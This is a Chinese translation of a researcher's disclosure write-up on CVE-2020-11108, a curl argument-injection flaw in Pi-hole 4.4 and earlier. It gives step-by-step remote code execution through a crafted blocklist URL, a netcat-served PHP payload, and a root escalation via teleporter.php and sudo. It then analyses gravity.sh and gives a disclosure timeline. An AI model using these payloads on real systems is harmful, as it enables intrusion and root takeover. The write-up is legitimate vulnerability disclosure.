原文地址:https://frichetten.com/blog/cve-2020-11108-pihole-rce/
以下是CVE-2020-11108的writeup,Pi-hole Web应用程序的认证用户可以通过CVE-2020-11108漏洞实现远程代码执行并提权为root。此漏洞影响Pi-hole v4.4及更低版本。这是我使用多年的一个开源项目中,一个令人兴奋的发现。
所有漏洞都是通过手动代码审计发现。请注意,技术上来讲有两条路径可以获取远程代码执行,但是它们是相似的,并且依赖于同一个易受攻击的函数调用。
这篇文章分为两部分,第一部分简要概述如何利用这些漏洞,第二部分是漏洞的发现和技术分析。
完整的PoC利用在这里。
可靠的RCE:此漏洞利用方式不依赖任何特殊条件,只需要通过应用程序的身份验证,并且在默认安装的Pi-hole中有效。
步骤1:打开"Settings > Blocklists"
步骤2:禁用当前所有的拦截列表(加快速度),然后输入以下payload作为新URL。
http://192.168.122.1#" -o fun.php -d "
其中的IP地址是您所控制的地址。请注意,#
是必需的,并且-d
之后的空格也是必需的。输入后点击保存。
步骤3:使用netcat监听80端口(可以修改payload以支持其他端口,但是更改后对':'字符的一些后端解析更令人烦恼,不值得更改)
步骤4:点击"Save and Update"
步骤5:几秒钟后,将会收到一个GET请求。返回一个200响应(这是必需的),按下回车,输入任意内容(只是为了提供一些数据),再按两次回车,然后Ctrl+c。
步骤6:再使用netcat监听80端口,然后点击"Update"再次更新Gravity。这次应该会在响应中看到“.domains”,这表明到目前为止都正确完成了漏洞利用。按下回车,然后粘贴你想用的任意PHP payload。调用Shell函数非常好用,然后Ctrl+c kill掉netcat。
步骤7:如果你用的payload是一个反弹shell,请设置监听器。然后curl /admin/scripts/pi-hole/php/fun.php
。这将触发payload。恭喜,你刚刚已在Pi-hole上实现了RCE!
有条件的RCE:为了利用此漏洞,除了要通过Web应用程序认证之外,Pi-hole服务还必须将其BLOCKINGMODE配置设置为NXDOMAIN。将在技术分析中对此进行详细说明。
步骤1:打开“Settings > Blocklists”
步骤2:禁用当前所有的拦截列表(加快速度),然后输入以下payload作为新URL。
http://192.168.122.1#" -o fun.php -d "
其中IP地址是您所控制的地址。请注意,#
是必需的,并且-d
之后的空格也是必需的。输入后单击保存。
步骤3:使用netcat监听80端口(可以修改payload支持其他端口,但是更改后对':'字符的一些后端解析更令人烦恼,不值得更改)
步骤4:点击“Save and Update”
步骤5:几秒钟后,你将会收到一个包含':80:'的GET请求。这表明BLOCKINGMODE已设置为NXDOMAIN,并且已成功利用该漏洞。按下回车,然后粘贴你想用的任意PHP payload。调用Shell函数非常好用,然后Ctrl+c kill掉netcat。
步骤6:如果你用的payload是一个反弹shell,请设置监听器。然后curl /admin/scripts/pi-hole/php/fun.php
。这将触发payload。恭喜,你刚刚已在Pi-hole上实现了RCE!
权限提升:在获得一个shell后,你可以通过以下方式提升权限。
步骤1:重新执行上述任意一个漏洞利用方式,这次将覆盖teleporter.php(而不是写入fun.php)。
http://192.168.122.1#" -o teleporter.php -d "
步骤2:使用之前获得的shell,运行sudo pihole -a -t
(www-data有一个sudo规则来调用pihole),该命令将以root身份调用teleporter.php。如果你已经使用反弹Shell payload(如上面的例子)将其覆盖,那么你将获得root权限。
最初的发现纯属偶然。在之前的文章中,我介绍了如何对Python执行反序列化攻击。作为后续,我想在PHP应用程序中复制这一点。在写那篇文章时(我发誓它终将到来!),我开始研究我在家庭网络上运行的一些使用 PHP 的应用程序。
经过反复挑选后,我最终选择了Pi-hole实例。如果你以前从未用过,Pi-hole是一个专用的DNS服务器,设备可以使用它来拦截广告和恶意域名。有了它,你可以轻松地在整个网络范围内屏蔽广告,而不必依赖浏览器插件之类的东西。
我开始查看代码,寻找实施反序列化攻击的机会,但最终非常失望(没有一个可以利用的反序列化函数)。我的下一个想法是寻找机会利用phar stream wrappers。在仔细查看app时,我注意到可以使用用户选择的拦截列表(Settings > Blocklists)。
我测试了一个phar stream wrapper,似乎可以利用(剧透警告:不能)。
看到这一点后,我心想:“好吧,我们可以定义协议(例如,http vs https)。我敢打赌后端的PHP会向这些域名发出GET请求,提取内容,然后添加到拦截列表中。我想知道它是否会处理这种phar stream wrapper?”。
我拉取了程序源代码,很惊讶地发现情况并非如此。相反,PHP实际上调用pihole CLI工具来更新拦截列表。然后我查看了代码库,并在gravity.sh中发现了gravity_DownloadBlocklistFromUrl函数。
在执行这个函数时,我发现实际的下载是通过curl完成的。
这就是所有乐趣的开始。您会注意到,有很多变量会受到影响。
为了追踪利用路径,我们需要检查这些参数并理解curl如何解析它们。下面是我们应该研究的内容的简化格式(从利用的角度)。
curl ${cmd_ext} ${heisenbergCompensator} "${url}" -o "${patternBuffer}"
你可能会发现的第一件事是cmd_ext和heisenbergCompensator没有用引号引起来,这为我们提供了将参数注入curl的机会。如果你曾经利用过类似的东西(讽刺的是,我有过在curl请求中滥用参数的经历),那么有两个特别有用的参数:-o
输出,-x
代理。
为了使事情对我们更有利,curl命令将以root身份运行,意味着我们可以在任何地方写入文件(稍后详细介绍)。由于此脚本由PHP在Web目录中调用,因此任何用-o
编写的文件都将写入Web目录中。如果我们可以控制参数和内容,那么就可以确保远程代码执行。另一件事是,Curl将优先考虑参数的输入顺序,首先输入的参数将会先被执行。因此curl -o a -o b https://frichetten.com
将会把输出写入到a中。
这使得我们仔细研究了没有用引号引起来的两个参数,最终也有两种注入方式。
首先,我们来看看heisenbergCompensator。如果saveLocation变量是一个有效文件,那么会在gravity.sh的第238行设置heisenbergCompensator。如果它是有效/可读的,那么saveLocation变量将用于构造heisenbergCompensator。这是在上一个函数(gravity_SetDownloadOptions)中设置的,并且是由多个变量构造的。
saveLocation="${piholeDir}/list.${i}.${domain}.${domainsExtension}"
因为我们控制了输入,所以我们可以能够创建带有空格和其他参数的域名。这应该不会对文件名造成问题,并且这些空格可以使我们向curl命令注入自己的参数。为了利用这个,我们使用了以下payload。
http://192.168.122.1#" -o fun.php -d "
这个域名被解析时双引号将被提取。因此,在curl时,变量是这样的,heisenbergCompensator = -z /etc/pihole/list.0.192.168.122.1# -o fun.php -d .domains
。
现在,正如您回顾的那样,heisenbergCompensator变量是在验证文件是否存在之后设置。对我们而言,好消息是,更新一次gravity就足以写入下图所示的文件。
唯一要注意的是,我们必须以200 OK进行响应,以确保文件被写入。根据第290行,这是必须的。
-d
参数用来处理附加的额外数据。第二次更新Gravity时,curl请求将包含注入的参数并将我们的payload写入Web目录。
你可能想知道是否可以利用这个漏洞来覆盖SSH配置、/etc/shadow或其他文件。不幸的是,我没有找到方法来写入除Web目录之外的其他任何目录。作为后端解析的一部分,所有“/”字符都被正则表达式过滤掉。我花了不少时间来尝试解决此问题,但是没有成功(如果你找到方法,请告诉我)。
这就解决了 heisenberg compentator 的问题,那么cmd_ext呢?坏消息是,仅当BLOCKINGMODE设置为NXDOMAIN时才设置此参数。尽管这是有效的配置,并且由开发人员支持,但它不是Pi-hole附带的默认配置。
但是,如果设置了它,利用方式实际上比上一个方法更容易。cmd_ext在第274行定义,构造如下。
cmd_ext="--resolve $domain:$port:$ip"
因此,我们可以使用之前构造的payload作为域名。引入的空格将使我们能够注入参数,并且使用-d
参数来处理用于解析的其余数据(特别是':80:')。
两种RCE都能达到相同的效果,即得到以www-data用户身份运行的Pi-hole主机上的shell。 从这里开始,我们要提升权限。与开发人员交谈后,他们提到了一种先前公开的权限提升方法,与某些Bash trickery有关。这是一个非常聪明的方法,但是我真的很想找到自己的方式。
如果你只是看了Pi-hole Web应用程序的源代码,你可能会惊讶地发现它定期调用sudo pihole
。这是否意味着www-data是没有密码的sudo用户?不,对我们来说很不幸,事实并非如此。但是,www-data确实有一个sudo规则来运行pihole
命令!
这感觉像是 CTF 中的一个提示,显然我必须使用pihole脚本本身来进行权限提升。你应该知道的一点是,它实际上是一个Bash脚本,它调用/opt/pihole中的其他Bash脚本。所有都属于root用户,因此很遗憾,我们不能修改其中一个脚本,然后使用sudo运行它。
在浏览这些脚本时,我注意到了一些同样不错的东西。在/opt/pihole/webpage.sh
中,在第547行,脚本调用了Web目录中的PHP文件。
从这里开始游戏变得简单,我们可以重复之前的漏洞利用,这次覆盖了teleporter.php。 然后,当我们运行sudo pihole -a -t
,它调用在teleporter.php和viola中的payload,然后我们就获得了root权限!
总体而言,这是一次很棒的hacking,我希望我能够解释出它为什么很棒,哪怕只有10%。其中大部分都归结为寻找能够满足后端要求的边缘案例(这个payload迭代了很多轮,直到它生效。最初的版本是使用大括号)。
非常感谢Pi-hole核心团队,感谢他们支持我探索不同的选择以及不断扩展最初的利用方式!
2020年3月29日:联系Pi-hole团队
2020年3月29日:Pi-hole核心团队确认了该报告
2020年3月30日:与团队会面,提供更多信息/跟踪问题
2020年3月30日:Mitre分配了CVE-2020-11108
2020年3月31日:通过heisenbergCompensator发现第二种RCE方法
2020年4月2日:发现并提交权限提升bug
2020年5月10日:Pi-hole团队允许我分享bug和PoC